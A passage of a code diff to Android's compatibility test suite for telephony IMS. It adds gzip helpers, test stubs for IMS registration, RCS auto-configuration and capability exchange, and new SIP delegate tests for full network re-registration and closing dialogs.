     // Waiting for ImsRcsManager to become public before implementing RegistrationManager,
     // Duplicate these methods for now.
     private void verifyRegistrationState(ImsRcsManager regManager, int expectedState)
@@ -1902,6 +2474,12 @@
         return result != null ? result : Integer.MAX_VALUE;
     }
 
+    private int waitForIntResult(LinkedBlockingQueue<Integer> queue, int timeout)
+            throws Exception {
+        Integer result = queue.poll(timeout, TimeUnit.MILLISECONDS);
+        return result != null ? result : Integer.MAX_VALUE;
+    }
+
     private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
         CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
                 .getContext().getSystemService(CarrierConfigManager.class);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index e691e51..bd73656 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -30,8 +30,13 @@
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
 
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
 import java.util.List;
 import java.util.concurrent.Callable;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
 
 public class ImsUtils {
     public static final boolean VDBG = false;
@@ -46,6 +51,7 @@
     public static final int ITEM_COMPRESSED = 2001;
     // TODO Replace with a real sip message once that logic is in.
     public static final String TEST_TRANSACTION_ID = "z9hG4bK.TeSt";
+    public static final String TEST_CALL_ID = "testcall";
     public static final SipMessage TEST_SIP_MESSAGE = new SipMessage("A", "B", new byte[0]);
 
     public static boolean shouldTestTelephony() {
@@ -154,4 +160,55 @@
         }
         return false;
     }
+
+    /**
+     * compress the gzip format data
+     * @hide
+     */
+    public static byte[] compressGzip(byte[] data) {
+        if (data == null || data.length == 0) {
+            return data;
+        }
+        byte[] out = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream(data.length);
+            GZIPOutputStream gzipCompressingStream =
+                    new GZIPOutputStream(outputStream);
+            gzipCompressingStream.write(data);
+            gzipCompressingStream.close();
+            out = outputStream.toByteArray();
+            outputStream.close();
+        } catch (IOException e) {
+        }
+        return out;
+    }
+
+    /**
+     * decompress the gzip format data
+     * @hide
+     */
+    public static byte[] decompressGzip(byte[] data) {
+        if (data == null || data.length == 0) {
+            return data;
+        }
+        byte[] out = null;
+        try {
+            ByteArrayInputStream inputStream = new ByteArrayInputStream(data);
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            GZIPInputStream gzipDecompressingStream =
+                    new GZIPInputStream(inputStream);
+            byte[] buf = new byte[1024];
+            int size = gzipDecompressingStream.read(buf);
+            while (size >= 0) {
+                outputStream.write(buf, 0, size);
+                size = gzipDecompressingStream.read(buf);
+            }
+            gzipDecompressingStream.close();
+            inputStream.close();
+            out = outputStream.toByteArray();
+            outputStream.close();
+        } catch (IOException e) {
+        }
+        return out;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
index 3f786fa..24d48ab 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
@@ -21,6 +21,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
 
 import android.content.BroadcastReceiver;
@@ -54,6 +55,7 @@
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -298,6 +300,7 @@
                 + "false", result);
     }
 
+    @Ignore("Disabling for integration b/175766573")
     @Test
     public void testIsSupportedWithSipTransportCapableOnlyRcs() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
@@ -306,7 +309,12 @@
         PersistableBundle b = new PersistableBundle();
         b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
         overrideCarrierConfig(b);
+
         assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        // set SipTransport as supported with RCS only attached.
+        sServiceConnector.getCarrierService().addCapabilities(
+                ImsService.CAPABILITY_SIP_DELEGATE_CREATION);
+        sServiceConnector.getCarrierService().setSipTransportImplemented();
 
         ImsFeatureConfiguration c = getConfigForRcs();
         assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
@@ -318,7 +326,7 @@
                         ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that the ImsService is only "
-                + "attached for MMTEL and not MMTEL and RCS", result);
+                + "attached for RCS and not MMTEL and RCS", result);
     }
 
 
@@ -405,6 +413,7 @@
         connectTestImsServiceWithSipTransportAndConfig();
 
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration imsReg = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
         DelegateRequest request = getDefaultRequest();
         TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
@@ -416,6 +425,12 @@
         delegateConn.sendMessageAndVerifyFailure(ImsUtils.TEST_SIP_MESSAGE,
                 SipDelegateManager.MESSAGE_FAILURE_REASON_DELEGATE_DEAD);
 
+        delegateConn.triggerFullNetworkRegistration(manager, 403, "FORBIDDEN");
+        // wait 5 seconds, this should not return.
+        TestImsRegistration.NetworkRegistrationInfo info =
+                imsReg.getNextFullNetworkRegRequest(5000);
+        assertNull("If there is no valid SipTransport, this should not be called", info);
+
         destroySipDelegateConnectionNoDelegate(manager, delegateConn);
     }
 
@@ -428,6 +443,7 @@
         connectTestImsServiceWithSipTransportAndConfig();
 
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
         DelegateRequest request = getDefaultRequest();
         TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
@@ -435,6 +451,7 @@
         TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
                 transportImpl, Collections.emptySet(), 0);
         assertNotNull(delegate);
+        verifyUpdateRegistrationCalled(regImpl);
 
         SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
                 .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
@@ -445,10 +462,14 @@
         sendMessageAndVerifyAck(delegateConn, delegate);
         receiveMessageAndVerifyAck(delegateConn, delegate);
 
+        // Ensure requests to perform a full network re-registration work properly.
+        verifyFullRegistrationTriggered(manager, regImpl, delegateConn);
+
         destroySipDelegateAndVerify(manager, transportImpl, delegateConn, delegate,
                 request.getFeatureTags());
         assertEquals("There should be no more delegates", 0,
                 transportImpl.getDelegates().size());
+        verifyUpdateRegistrationCalled(regImpl);
     }
 
     @Test
@@ -509,6 +530,7 @@
         assertTrue(sServiceConnector.setDefaultSmsApp());
         connectTestImsServiceWithSipTransportAndConfig();
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
 
         DelegateRequest request1 = getChatOnlyRequest();
@@ -532,6 +554,7 @@
         TestSipDelegate delegate2 = createSipDelegateConnectionAndVerify(manager, delegateConn2,
                 transportImpl, Collections.emptySet(), 1);
         assertNotNull(delegate2);
+        verifyUpdateRegistrationCalled(regImpl);
         Set<FeatureTagState> deniedSet = generateDeniedSetFromRequest(request1.getFeatureTags(),
                 request2.getFeatureTags(),
                 SipDelegateManager.DENIED_REASON_IN_USE_BY_ANOTHER_DELEGATE);
@@ -548,6 +571,7 @@
         verifySipDelegateDestroyed(transportImpl, delegateConn2, delegate2, registeredTags2,
                 DelegateRegistrationState.DEREGISTERING_REASON_FEATURE_TAGS_CHANGING);
         delegate2 = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+        verifyUpdateRegistrationCalled(regImpl);
         verifyRegisteredAndSendSipConfig(delegateConn2, delegate2, request2.getFeatureTags(),
                 Collections.emptySet(), c);
 
@@ -566,6 +590,7 @@
         connectTestImsServiceWithSipTransportAndConfig();
 
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
         DelegateRequest request = getDefaultRequest();
         TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
@@ -574,8 +599,12 @@
         createSipDelegateConnectionNoDelegateExpected(manager, delegateConn, transportImpl);
 
         // Make this app the DMA
+        regImpl.resetLatch(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION, 1);
         assertTrue(sServiceConnector.setDefaultSmsApp());
+        assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION,
+                ImsUtils.TEST_TIMEOUT_MS));
         TestSipDelegate delegate = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+        verifyUpdateRegistrationCalled(regImpl);
         SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
                 .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
                 .build();
@@ -596,6 +625,7 @@
         assertTrue(sServiceConnector.setDefaultSmsApp());
         connectTestImsServiceWithSipTransportAndConfig();
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
 
         DelegateRequest request = getDefaultRequest();
@@ -603,6 +633,7 @@
         TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
                 transportImpl, Collections.emptySet(), 0);
         assertNotNull(delegate);
+        verifyUpdateRegistrationCalled(regImpl);
 
         SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
                 .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
@@ -613,7 +644,10 @@
 
         // Move DMA to another app, we should receive a registration update.
         delegateConn.setOperationCountDownLatch(1);
+        regImpl.resetLatch(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION, 1);
         sServiceConnector.restoreDefaultSmsApp();
+        assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION,
+                ImsUtils.TEST_TIMEOUT_MS));
         delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
         // we should get another reg update with all tags denied.
         delegateConn.setOperationCountDownLatch(1);
@@ -627,6 +661,7 @@
         // There should not be any delegates left, as the only delegate should have been cleaned up.
         assertEquals("SipDelegate should not have any delegates", 0,
                 transportImpl.getDelegates().size());
+        verifyUpdateRegistrationCalled(regImpl);
 
         destroySipDelegateConnectionNoDelegate(manager, delegateConn);
     }
@@ -827,11 +862,33 @@
                 .collect(Collectors.toSet());
     }
 
+    private void verifyUpdateRegistrationCalled(TestImsRegistration regImpl) {
+        regImpl.resetLatch(TestImsRegistration.LATCH_UPDATE_REGISTRATION, 1);
+        // it is okay to reset and wait here (without race conditions) because there is a
+        // second delay between triggering update registration and the latch being triggered.
+        assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_UPDATE_REGISTRATION,
+                ImsUtils.TEST_TIMEOUT_MS));
+    }
+
+    private void verifyFullRegistrationTriggered(SipDelegateManager manager,
+            TestImsRegistration regImpl, TestSipDelegateConnection delegateConn) throws Exception {
+        delegateConn.verifyDelegateCreated();
+        delegateConn.triggerFullNetworkRegistration(manager, 403, "FORBIDDEN");
+        TestImsRegistration.NetworkRegistrationInfo info =
+                regImpl.getNextFullNetworkRegRequest(ImsUtils.TEST_TIMEOUT_MS);
+        assertNotNull("full registration requested, but ImsRegistrationImplBase "
+                + "implementation did not receive a request.", info);
+        assertEquals(403, info.sipCode);
+        assertEquals("FORBIDDEN", info.sipReason);
+    }
+
     private void sendMessageAndVerifyAck(TestSipDelegateConnection delegateConn,
             TestSipDelegate delegate) throws Exception {
         // Send a message and ensure it gets received on the other end as well as acked
         delegateConn.sendMessageAndVerifyCompletedSuccessfully(ImsUtils.TEST_SIP_MESSAGE);
         delegate.verifyMessageSend(ImsUtils.TEST_SIP_MESSAGE);
+        delegateConn.sendCloseDialog(ImsUtils.TEST_CALL_ID);
+        delegate.verifyCloseDialog(ImsUtils.TEST_CALL_ID);
         // send a message and notify connection that it failed
         delegate.setSendMessageDenyReason(
                 SipDelegateManager.MESSAGE_FAILURE_REASON_NETWORK_NOT_AVAILABLE);
@@ -873,15 +930,6 @@
         return b.build();
     }
 
-    private DelegateRegistrationState getDeregistedState(Set<String> deregisterTags,
-            int reason) {
-        DelegateRegistrationState.Builder b = new DelegateRegistrationState.Builder();
-        for (String t : deregisterTags) {
-            b.addDeregisteredFeatureTag(t, reason);
-        }
-        return b.build();
-    }
-
     private void connectTestImsServiceWithSipTransportAndConfig() throws Exception {
         PersistableBundle b = new PersistableBundle();
         b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java
new file mode 100644
index 0000000..15506fa
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.RcsClientConfiguration;
+
+import java.util.concurrent.LinkedBlockingQueue;
+
+public class TestAcsClient {
+    public static int ACTION_SET_RCS_CLIENT_CONFIG = 1;
+    public static int ACTION_TRIGGER_AUTO_CONFIG = 2;
+    public static int ACTION_CONFIG_CHANGED = 3;
+
+    private LinkedBlockingQueue<Integer> mActionQueue;
+    private RcsClientConfiguration mRcc;
+    private byte[] mConfig;
+
+    private static TestAcsClient sInstance;
+
+    private TestAcsClient() {}
+
+    public static TestAcsClient getInstance() {
+        if (sInstance == null) {
+            sInstance = new TestAcsClient();
+        }
+        return sInstance;
+    }
+
+    public void onSetRcsClientConfiguration(RcsClientConfiguration rcc) {
+        if (mActionQueue != null) {
+            mActionQueue.offer(ACTION_SET_RCS_CLIENT_CONFIG);
+        }
+        mRcc = rcc;
+    }
+
+    public void onTriggerAutoConfiguration() {
+        if (mActionQueue != null) {
+            mActionQueue.offer(ACTION_TRIGGER_AUTO_CONFIG);
+        }
+    }
+
+    public void onConfigChanged(byte[] config, boolean isCompressed) {
+        if (mActionQueue != null) {
+            mActionQueue.offer(ACTION_CONFIG_CHANGED);
+        }
+        mConfig = isCompressed ? ImsUtils.decompressGzip(config) : config;
+    }
+
+    public void setActionQueue(LinkedBlockingQueue<Integer> actionQueue) {
+        mActionQueue = actionQueue;
+    }
+
+    public RcsClientConfiguration getRcc() {
+        return mRcc;
+    }
+
+    public byte[] getConfig() {
+        return mConfig;
+    }
+
+    public void reset() {
+        mActionQueue = null;
+        mRcc = null;
+        mConfig = null;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
index 00c5a1b..494372f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
@@ -16,6 +16,7 @@
 
 package android.telephony.ims.cts;
 
+import android.telephony.ims.RcsClientConfiguration;
 import android.telephony.ims.stub.ImsConfigImplBase;
 
 import java.util.HashMap;
@@ -50,7 +51,16 @@
 
     @Override
     public void notifyRcsAutoConfigurationReceived(byte[] content, boolean isCompressed) {
-        int item = isCompressed ? ImsUtils.ITEM_COMPRESSED : ImsUtils.ITEM_NON_COMPRESSED;
-        setConfig(item, new String(content));
+        TestAcsClient.getInstance().onConfigChanged(content, isCompressed);
+    }
+
+    @Override
+    public void setRcsClientConfiguration(RcsClientConfiguration rcc) {
+        TestAcsClient.getInstance().onSetRcsClientConfiguration(rcc);
+    }
+
+    @Override
+    public void triggerAutoConfiguration() {
+        TestAcsClient.getInstance().onTriggerAutoConfiguration();
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
new file mode 100644
index 0000000..afdd3d1
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class TestImsRegistration extends ImsRegistrationImplBase {
+
+    public static class NetworkRegistrationInfo {
+        public final int sipCode;
+        public final String sipReason;
+        NetworkRegistrationInfo(int code, String reason) {
+            sipCode = code;
+            sipReason = reason;
+        }
+    }
+
+    public static final int LATCH_UPDATE_REGISTRATION = 0;
+    public static final int LATCH_TRIGGER_DEREGISTRATION = 1;
+    private static final int LATCH_MAX = 2;
+    private static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+    static {
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+        }
+    }
+
+    private final LinkedBlockingQueue<NetworkRegistrationInfo> mPendingFullRegistrationRequests =
+            new LinkedBlockingQueue<>();
+
+    @Override
+    public void triggerFullNetworkRegistration(int sipCode, String sipReason) {
+        mPendingFullRegistrationRequests.offer(new NetworkRegistrationInfo(sipCode, sipReason));
+    }
+
+    @Override
+    public void updateSipDelegateRegistration() {
+        synchronized (sLatches) {
+            sLatches[LATCH_UPDATE_REGISTRATION].countDown();
+        }
+    }
+
+    @Override
+    public void triggerSipDelegateDeregistration() {
+        synchronized (sLatches) {
+            sLatches[LATCH_TRIGGER_DEREGISTRATION].countDown();
+        }
+    }
+
+    public NetworkRegistrationInfo getNextFullNetworkRegRequest(int timeoutMs) throws Exception {
+        return mPendingFullRegistrationRequests.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public void resetLatch(int latchIndex, int newCount) {
+        synchronized (sLatches) {
+            sLatches[latchIndex] = new CountDownLatch(newCount);
+        }
+    }
+
+    public boolean waitForLatchCountDown(int latchIndex, int timeoutMs) {
+        CountDownLatch latch;
+        synchronized (sLatches) {
+            latch = sLatches[latchIndex];
+        }
+        while (latch.getCount() > 0) {
+            try {
+                return latch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) { }
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
index 029b8c3..912d95c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -43,7 +43,8 @@
 
     private static final String TAG = "GtsImsTestImsService";
 
-    private static ImsRegistrationImplBase sImsRegistrationImplBase = new ImsRegistrationImplBase();
+    private static final TestImsRegistration sImsRegistrationImplBase =
+            new TestImsRegistration();
 
     private TestRcsFeature mTestRcsFeature;
     private TestMmTelFeature mTestMmTelFeature;
@@ -68,7 +69,9 @@
     public static final int LATCH_RCS_READY = 8;
     public static final int LATCH_MMTEL_CAP_SET = 9;
     public static final int LATCH_RCS_CAP_SET = 10;
-    private static final int LATCH_MAX = 11;
+    public static final int LATCH_UCE_LISTENER_SET = 11;
+    public static final int LATCH_UCE_REQUEST_PUBLISH = 12;
+    private static final int LATCH_MAX = 13;
     protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
     static {
         for (int i = 0; i < LATCH_MAX; i++) {
@@ -85,6 +88,12 @@
     interface CapabilitiesSetListener {
         void onSet();
     }
+    interface RcsCapabilitySetListener {
+        void onSet();
+    }
+    interface DeviceCapPublishListener {
+        void onPublish();
+    }
 
     // This is defined here instead TestImsService extending ImsService directly because the GTS
     // tests were failing to run on pre-P devices. Not sure why, but TestImsService is loaded
@@ -158,8 +167,20 @@
                             synchronized (mLock) {
                                 countDownLatch(LATCH_RCS_CAP_SET);
                             }
+                        },
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_UCE_LISTENER_SET);
                         }
-                        );
+                        });
+
+                // Setup UCE request listener
+                mTestRcsFeature.setDeviceCapPublishListener(() -> {
+                    synchronized (mLock) {
+                        countDownLatch(LATCH_UCE_REQUEST_PUBLISH);
+                    }
+                });
+
                 if (mSetNullRcsBinding) {
                     return null;
                 }
@@ -348,7 +369,7 @@
         }
     }
 
-    public ImsRegistrationImplBase getImsRegistration() {
+    public TestImsRegistration getImsRegistration() {
         synchronized (mLock) {
             return sImsRegistrationImplBase;
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
new file mode 100644
index 0000000..cdc1392
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.ImsException;
+import android.telephony.ims.cts.TestImsService.DeviceCapPublishListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
+import android.util.Log;
+
+import java.util.concurrent.Executor;
+
+/**
+ * A implementation class of RcsCapabilityExchangeImplBase for the TestRcsFeature.
+ */
+public class TestRcsCapabilityExchangeImpl extends RcsCapabilityExchangeImplBase {
+
+    private static final String LOG_TAG = "TestRcsCapExchangeImpl";
+
+    @FunctionalInterface
+    public interface PublishOperation {
+        void execute(DeviceCapPublishListener listener, String pidfXml, PublishResponseCallback cb)
+                throws ImsException;
+    }
+
+    private DeviceCapPublishListener mPublishListener;
+
+    // The operation of publishing capabilities
+    private PublishOperation mPublishOperation;
+
+    /**
+     * Create a new RcsCapabilityExchangeImplBase instance.
+     * @param executor The executor that remote calls from the framework will be called on.
+     */
+    public TestRcsCapabilityExchangeImpl(Executor executor, DeviceCapPublishListener listener) {
+        super(executor);
+        mPublishListener = listener;
+    }
+
+    public void setPublishOperator(PublishOperation operation) {
+        mPublishOperation = operation;
+    }
+
+    @Override
+    public void publishCapabilities(String pidfXml, PublishResponseCallback cb) {
+        try {
+            mPublishOperation.execute(mPublishListener, pidfXml, cb);
+        } catch (ImsException e) {
+            Log.w(LOG_TAG, "publishCapabilities exception: " + e);
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
index 3354158..b81f22f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
@@ -17,25 +17,41 @@
 package android.telephony.ims.cts;
 
 import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
 import android.util.Log;
 
+import java.util.concurrent.Executor;
+
 public class TestRcsFeature extends RcsFeature {
+
     private static final String TAG = "CtsTestImsService";
 
     private final TestImsService.ReadyListener mReadyListener;
     private final TestImsService.RemovedListener mRemovedListener;
     private final TestImsService.CapabilitiesSetListener mCapSetListener;
+    private final TestImsService.RcsCapabilitySetListener mRcsCapabilitySetListener;
+
+    private TestRcsCapabilityExchangeImpl mCapExchangeImpl;
+    private CapabilityExchangeEventListener mCapEventListener;
+    private TestImsService.DeviceCapPublishListener mDeviceCapPublishListener;
 
     TestRcsFeature(TestImsService.ReadyListener readyListener,
             TestImsService.RemovedListener listener,
-            TestImsService.CapabilitiesSetListener setListener) {
+            TestImsService.CapabilitiesSetListener setListener,
+            TestImsService.RcsCapabilitySetListener uceCallbackListener) {
         mReadyListener = readyListener;
         mRemovedListener = listener;
         mCapSetListener = setListener;
+        mRcsCapabilitySetListener = uceCallbackListener;
 
         setFeatureState(STATE_READY);
     }
 
+    public void setDeviceCapPublishListener(TestImsService.DeviceCapPublishListener listener) {
+        mDeviceCapPublishListener = listener;
+    }
+
     @Override
     public void onFeatureReady() {
         if (ImsUtils.VDBG) {
@@ -51,4 +67,30 @@
         }
         mRemovedListener.onRemoved();
     }
+
+    public RcsCapabilityExchangeImplBase createCapabilityExchangeImpl(Executor executor,
+            CapabilityExchangeEventListener listener) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.createCapabilityExchangeImpl called");
+        }
+        mCapEventListener = listener;
+        mCapExchangeImpl = new TestRcsCapabilityExchangeImpl(executor, mDeviceCapPublishListener);
+        mRcsCapabilitySetListener.onSet();
+        return mCapExchangeImpl;
+    }
+
+    public void removeCapabilityExchangeImpl(RcsCapabilityExchangeImplBase capExchangeImpl) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.removeCapabilityExchangeImpl called");
+        }
+        mRcsCapabilitySetListener.onSet();
+    }
+
+    public CapabilityExchangeEventListener getEventListener() {
+        return mCapEventListener;
+    }
+
+    public TestRcsCapabilityExchangeImpl getRcsCapabilityExchangeImpl() {
+        return mCapExchangeImpl;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
index 3d06dce..729efb9 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
@@ -48,6 +48,7 @@
     // Pair is <transactionId, error reason>
     private final LinkedBlockingQueue<Pair<String, Integer>> mReceivedMessageAcks =
             new LinkedBlockingQueue<>();
+    private final LinkedBlockingQueue<String> mCloseDialogRequests = new LinkedBlockingQueue<>();
     private int mSendMessageDenyReason = -1;
 
     public TestSipDelegate(int sub, DelegateRequest request, DelegateStateCallback cb,
@@ -73,7 +74,7 @@
     @Override
     public void closeDialog(@NonNull String callId) {
         if (ImsUtils.VDBG) Log.d(LOG_TAG, "closeDialog");
-        // TODO: Test once dialogs are tracked in AOSP.
+        mCloseDialogRequests.offer(callId);
     }
 
     @Override
@@ -93,6 +94,12 @@
         assertEquals(messageToVerify, m);
     }
 
+    public void verifyCloseDialog(String callIdToVerify) throws Exception {
+        String requestedCallId = mCloseDialogRequests.poll(ImsUtils.TEST_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertEquals(callIdToVerify, requestedCallId);
+    }
+
     public void setSendMessageDenyReason(int reason) {
         mSendMessageDenyReason = reason;
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
index 6b3b134..ca7505f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
@@ -89,6 +89,13 @@
                 ImsException.class, "android.permission.MODIFY_PHONE_STATE");
     }
 
+    public void triggerFullNetworkRegistration(SipDelegateManager manager, int sipCode,
+            String sipReason) throws Exception {
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                manager, (m) -> m.triggerFullNetworkRegistration(connection, sipCode, sipReason),
+                ImsException.class, "android.permission.MODIFY_PHONE_STATE");
+    }
+
     @Override
     public void onMessageReceived(@NonNull SipMessage message) {
         if (ImsUtils.VDBG) Log.d(LOG_TAG, "onMessageReceived");
@@ -145,6 +152,11 @@
         mLatch.countDown();
     }
